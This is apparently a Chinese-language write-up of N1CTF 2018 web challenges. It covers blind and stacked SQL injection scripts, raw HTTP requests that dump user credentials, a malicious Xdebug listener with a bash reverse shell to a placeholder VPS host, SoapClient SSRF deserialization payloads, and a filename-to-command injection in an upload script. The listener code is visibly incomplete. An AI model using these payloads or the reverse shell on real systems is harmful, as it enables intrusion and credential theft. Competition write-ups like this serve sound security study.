N1CTF 2018 Web writeup

先给nu1l的师傅们点个赞,题目感觉不错,不过感觉是注入有点多23333,其实还好,各种类型之中我比较喜欢的就是是注入和审计,所以感觉这次题目还挺好的,不过比赛的第二天一早六点就出去科三模拟去了,下午比较晚才回来,所以有的题后来补的,赛后想要复盘结果题目关了,有点可惜。不过说是赛后会放出源码,到时可以好好学习一下。

77777

这个题目漏洞点很清晰了,不赘述了。主要还是感觉相互干扰比较严重把,可以通过一次多来几位,然后手动的话较快就能出答案,一个poc

flag=1,&hi=points=conv(hex(substr((password%20),1,4)),16,10)

也可以这样子,不过这样就比较慢了:

#!/usr/bin/env python
# encoding: utf-8

import requests
import sys
import re
flag=1

url="http://47.97.168.223/"
r=requests.session()
data={'flag':flag}
def reset():
    data={'flag':'1','hi':'1'}
    result=r.post(url,data=data)

ans = ""
for i in xrange(1, 40):
    start = 30
    end = 128
    while start < end:
        reset()
        mid = (start + end) / 2
        data['hi']="2222 where '%s'<substr((select password),%d,1)"%(chr(mid),i)
        result = r.post(url, data=data)
        a=re.findall('\<grey\>My Points\<\/grey\> \| (.*?)\<br\/\>',result.content)
        if "12222" in a:
            start = mid+1
            continue
        else:
            end = mid
            continue
    ans += chr(start)
    print ans

最好是用前一种吧,比较快。

赛时我用的后一种,最后我出来的是

n1ctf_1

中间那个等号那一位手动修正,然后全部小写就好了。

77777 2

这个好像和第一个差不太多啊,直接如下怼就行了。

#!/usr/bin/env python
# encoding: utf-8
#!/usr/bin/env python
# encoding: utf-8

import requests
import re
flag=0
url="http://47.52.137.90:20000/"
r=requests.session()
data={'flag':flag}

pad = lambda n : '+1' * n

index=1
ans = ""
while True:
    data['hi'] = "+conv(hex(substr((select pw ),%s,1)),16,10)" % pad(index)
    result = r.post(url, data=data)
    num = re.findall('\<grey\>My Points\<\/grey\> \| (.*?)\<br\/\>',result.content)
    if num != ['NULL']:
        #print num
        num = chr(int(num[0]))
        index = index + 1
        ans = ans + num
        print ans
    else: break

n1ctf_2

easy php

这个比赛的时候被非预期了,挺可惜的。导致后面有了harder php,跟出题人交流之后,根据出题人理想的解法在后面,这里说说其他的解法,总共有三种: 首先备份文件http://47.97.221.96/index.php~,看到action参数明显是一个文件包含,在http://47.97.221.96/views/还有http://47.97.221.96/user.php~http://47.97.221.96/config.php~拿到了几乎所有的源码。

解法一

通过依据phpinfo包含临时文件从而getshell。这也是一个比较经典的利用,通过racing condition来在临时文件被删除之前包含它。 这个想法的依据是FROM andreisamuilik/php5.5.9-apache2.4-mysql5.5 ,这个镜像我们pull下来发现其中默认目录/var/www/phpinfo/index.php有个phpinfo存在,然后就能利用lfi包含临时文件getshell了。 竞争代码如下:


解法二

rr师傅的解法,在phpinfo中不知道为啥看到remote_connect_back = Off,但是那个是php-cli的,而实际我下载下来的镜像跑起来看到的是开着的,即php-fpm实际是开着的,所以能够直接getshell。 这个点rr师傅在之前的whctf出过。关于这个利用的详情可以看rr师傅的博客

这里放一下代码: vps上运行:

#!/usr/bin/python2
import socket
ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
while True:
    client_data = conn.recv(1024)
    print(client_data)
    data = raw_input('>> ')
    conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
    conn.sendall('feature_get -i transaction_id -n feature_name\x00')
`

然后运行:curl 'http://47.97.221.96:23333?XDEBUG_SESSION_START'

发现代码那边收到信息了, 然后输入

system('bash -c "bash -i >& /dev/tcp/vps_ip/vps_port 0<&1 2>&1"')

就拿到shell,flag在数据库的flag库里面。

解法三

包含session,session.upload_progress.enabled是被打开了的,而当这个选项被打开时,php会自动记录上传文件的进度,在上传时会将其信息保存在$_SESSION中,这样就可以通过upload文件,然后包含session文件从而getshell。

harder php?

easy php几乎一样,那么我们走正规途径了。 审计呗,其实主要就是两个文件,user.phpconfig.php了 定位到user.php里面的

    function publish()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            if(isset($_POST['signature']) && isset($_POST['mood'])) {

                $mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
                $db = new Db();
                @$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
                if($ret)
                    return true;
                else
                    return false;
            }
        }
        else
        {
                if(isset($_FILES['pic'])) {
                    if (upload($_FILES['pic'])){
                        echo 'upload ok!';
                        return true;
                    }
                    else {
                        echo "upload file error";
                        return false;
                    }
                }
                else
                    return false;


        }

    }

这个insert函数跟进看一下:

    public function insert($columns,$table,$values){

        $column = $this->get_column($columns);
        $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
        $nid =
        $sql = 'insert into '.$table.'('.$column.') values '.$value;
        #die($sql);
        $result = $this->conn->query($sql);

        return $result;
    }

看到这个正则没,他把反撇号换成了单引号,我们想要的单引号就有了,注入点就在这里。 有了这个,我们可以通过输入比如

signature=1`,(select 1))#mood=1

随意控制后面的mood列了,但是接下来我们看看mood列是怎么回显的,

    function showmess()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            //id,sig,mood,ip,country,subtime
            $db = new Db();
            @$ret = $db->select(array('username','signature','mood','id'),'ctf_user_signature',"userid = $this->userid order by id desc");
            if($ret) {
                $data = array();
                while ($row = $ret->fetch_row()) {
                    $sig = $row[1];
                    $mood = unserialize($row[2]);
                    $country = $mood->getcountry();
                    $ip = $mood->ip;
                    $subtime = $mood->getsubtime();
                    $allmess = array('id'=>$row[3],'sig' => $sig, 'mood' => $mood, 'ip' => $ip, 'country' => $country, 'subtime' => $subtime);
                    array_push($data, $allmess);

                }
                $data = json_encode(array('code'=>0,'data'=>$data));
                var_dump($data);
                return $data;
            }
            else
                return false;

        }
        else
        {
            $filenames = scandir('adminpic/');
            array_splice($filenames, 0, 2);
            return json_encode(array('code'=>1,'data'=>$filenames));

        }
    }

先是反序列化操作,得到mood类,这里我们可以控制其中的所有成员变量,共三个$mood, $ip, $date,但是我们看看这三个变量是怎么回显的。$ip变量被拿去查询country并打印,本身不打印,所以无法显示数据,$date变量被经过getsubtime处理之后也无法直接打印,在index.php下面$mood变量被直接强制类型转换成了整型,也就是说我们可以控制的三个变量都凉凉了?

不并没有,我们还可以这样插入

signature=1`,(select 1)),('1','123','1','1')#mood=1

是的,一次插入两行数据,这样我们可以控制第二行的数据的所有,在index.php下面,我们看到了siginature被直接打印了,这就是我们信息的回显点了! 还有一个问题,插入的时候根据userid插入的,你咋知道自己的userid。 别忘了,我们刚刚说的能控制mood类的三个变量,但是由于无法打印字符串所以我们想到插入额外一行数据,但是我们之前是可以打印整型数据,而userid正好是整型数据,我们可以先打印userid,在根据userid的值插入额外一行从而获取密码。由于环境赛后关了,我这里保存了当时拿密码的两个请求

POST /index.php?action=publish HTTP/1.1
Host: 172.17.0.3
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.7,en;q=0.3
Referer: http://172.17.0.3/index.php?action=publish
Content-Type: application/x-www-form-urlencoded
Content-Length: 470
Cookie: csrftoken=h6AoTLweaIppo93GCGguYICwzwVfRXJG3Mz5a2JlifROf5pnvl1vwPQfvCG5w0pN; PHPSESSID=117tr59s433jaeiq51e7kvi5d3
Connection: close
Upgrade-Insecure-Requests: 1

signature=123`,(SELECT group_concat(CHAR(79, 58, 52, 58, 34, 77, 111, 111, 100, 34, 58, 51, 58, 123, 115, 58, 52, 58, 34, 109, 111, 111, 100, 34, 59, 115, 58, 49, 58, 34, 48, 34, 59, 115, 58, 50, 58, 34, 105, 112, 34, 59, 115, 58, 51, 58, 34),(select user_id from ctf_users where username=CHAR(98, 101, 110, 100, 97, 119, 97, 110, 103)),CHAR(34, 59, 115, 58, 52, 58, 34, 100, 97, 116, 101, 34, 59, 105, 58, 49, 53, 50, 48, 54, 54, 54, 48, 57, 54, 59, 125))))#-- @&mood=2

上述请求我获取到了我的id是153.

POST /index.php?action=publish HTTP/1.1
Host: 172.17.0.3
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.7,en;q=0.3
Referer: http://172.17.0.3/index.php?action=publish
Content-Type: application/x-www-form-urlencoded
Content-Length: 450
Cookie: csrftoken=h6AoTLweaIppo93GCGguYICwzwVfRXJG3Mz5a2JlifROf5pnvl1vwPQfvCG5w0pN; PHPSESSID=117tr59s433jaeiq51e7kvi5d3
Connection: close
Upgrade-Insecure-Requests: 1

signature=123`,(select 0x4f3a343a224d6f6f64223a333a7b733a343a226d6f6f64223b733a313a2230223b733a323a226970223b733a333a22313233223b733a343a2264617465223b693a313532303636363039363b7d27)),(`153`,`bendawang`,(select group_concat(username,char(0x7c),password) from ctf_users),(select 0x4f3a343a224d6f6f64223a333a7b733a343a226d6f6f64223b733a313a2230223b733a323a226970223b733a333a22313233223b733a343a2264617465223b693a313532303636363039363b7d27))#-- @&mood=2

上述请求我往userid=153里面插入了一条数据包含用户名和密码。 然后成功拿到了管理员的用户名为admin,密码是md5,解密之后是nu1ladmin。 中间还闹了个笑话,当时嫌麻烦,直接给0-1000的用户都加上了用户名和密码,后来赶紧让管理员删掉,然后走正常途径获取id,添加上用户名和密码。

接下来下一步,我们拿到用户名密码之后由于allow_diff_ip的限制我们不能直接登录,所以需要ssrf了。

这里分享一个Prezi,好像需要登录?提到了一些反序列化的骚操作,建议好好看看,其中着重提到了SoapClient。因为有code的存在,初步思路肯定是带着cookie去请求登录即可,然后就可以回本地操作。 关于soapclient的栗子我就不举了,直接给一把

signature=1`,`O:10:"SoapClient":3:{s:3:"uri";s:135:"http://127.0.0.1/index.php?action=login"%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ausername=123%26password=123%26code[]=1%0d%0a%0d%0a%0d%0a%0d%0a";s:8:"location";s:23:"http://172.17.0.3/a.php";s:13:"_soap_version";i:1;}`) #-- @&mood=0

之类我们可以本地测试,抓包确实收到了post请求,但是这里有个问题,我们最后需要发送post请求,虽然SoapClient发送的确实是post请求,但是content/type是text/xml; charset=utf‐8,而我上述的做法没办法直接覆盖掉原本的content/type,而我们知道,要能通过$_POST获取数据,content/type要是application/x‐www‐form‐urlencoded才行,这里直接由于环境没了,直接贴rr师傅的poc了。

$b = new SoapClient(null,array('location' => $target,
                               'user_agent' => "AAA:BBB\r\nContent‐Type: application/x‐www‐form‐urlencoded\r\n" .
                                             "Cookie:PHPSESSID=1s8ep2eiat3qbg1pa2tj2jq6h4\r\nContent‐Length:" .
                                               "501\r\n\r\nusername=admin&password=nu1ladmin&code=985008&",
                               'uri' => "aabb"));

这样就可以了。 然后就是上传,这个过滤<script>就可以绕过,然后time()也知道的,只需要爆破一下1-100就可以了知道文件名了,然后包含一下就行了。

babysqli

又是一道注入,fuzz了两个小时没啥收获,因为一直盯着userinfo看,所以根本没卵用,后来提示说注意图片,然后发现有两张图片类似的,然后图片本身也没有啥有用的东西,所以大概是依据图片的不同来盲注,果然测出来了poc如下:

'=ascii(substr(2,1,1))>1=' 返回1.png
'=ascii(substr(2,1,1))>2=' 返回2.png

由此可以开始bool盲注,但是这里过滤了information,系统库information_schema用不了,又猜不出库名表名出来。

然后这里有个trick。见文章 大家可以也打开自己的数据库看看,关于mysql.innodb_table_stats这张表,利用下面代码:

#encoding:utf-8
import requests
import string
import re
import random

headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0","Referer":"http://47.98.51.5/vlogin/index.php","Connection":"close","Accept-Language":"zh,en-US;q=0.7,en;q=0.3","Content-Type":"application/x-www-form-urlencoded"}
reg_url='http://47.75.55.61:23333/vlogin/reg.php'
log_url='http://47.75.55.61:23333/vlogin/login.php'
ind_url="http://47.75.55.61:23333/vlogin/vpage/index.php"


def check(payload):
    r = requests.Session()
    email = 'bdw' + '' .join(random.choice(string.ascii_letters) for i in range(7)) + "@1.com"
    paramsPost = {"pass":"1","email":email,"userinfo":payload}
    response = r.post(reg_url, data=paramsPost, headers=headers)
    if "Register Success" in response.content:
        paramsPost = {"loginuser":email,"loginpass":"1"}
        response = r.post(log_url, data=paramsPost, headers=headers)
        if 'Login Success' in response.content:
            response = r.get(ind_url,headers=headers)
            #print response.content
            if 'hack' in response.content:
                return 'hack'
            if "1.png" in response.content:
                #print "1.png"
                return 1
            else:
                #print "2.png"
                return 0
    else:
        print 'Register failed'
        return


ans=""
for i in xrange(1,100):
    start=30
    end=128
    while start<end:
        print start,end
        mid=(start+end)/2
        payload='''

'=if(ascii(substring((select(group_concat(database_name))from(mysql.innodb_table_stats)),%d,1))>%d,1,0)='

'''%(i,mid)
        res=check(payload)
        if res==1:
            start=mid+1
        elif res==0:
            end=mid
        else:
            raw_input(res)
    ans+=chr(start)
    print ans

然后成功拿到库名sys,mysql,n1ctf_2018_venenof7,同理然后看看n1ctf_2018_venenof7的表名有vimg,vusers两张表,然后猜出vusers存在password字段,跑出来ac895b772a4ec1eff81e07aa2907afe3,解码得到flag。

funning eating cms

同样是一个文件包含啊,拿到部分代码,在temlates/info.html下面拿到提示ffffllllaaaaggg.php,但是在function.php里面被过滤了,不过这里的parse_url是可以绕过的,这样子拿到提示http://47.52.152.93:23333/////user.php?page=/ffffllllaaaaggg,一个什么manege.php,然后出来个上传,根据源码提示有个upllloadddd.php,读取来看一看

 <?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
        die("error:can not move");
    }
}else{
    die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 ‐w 0");

文件名控制命令执行,不用多说了。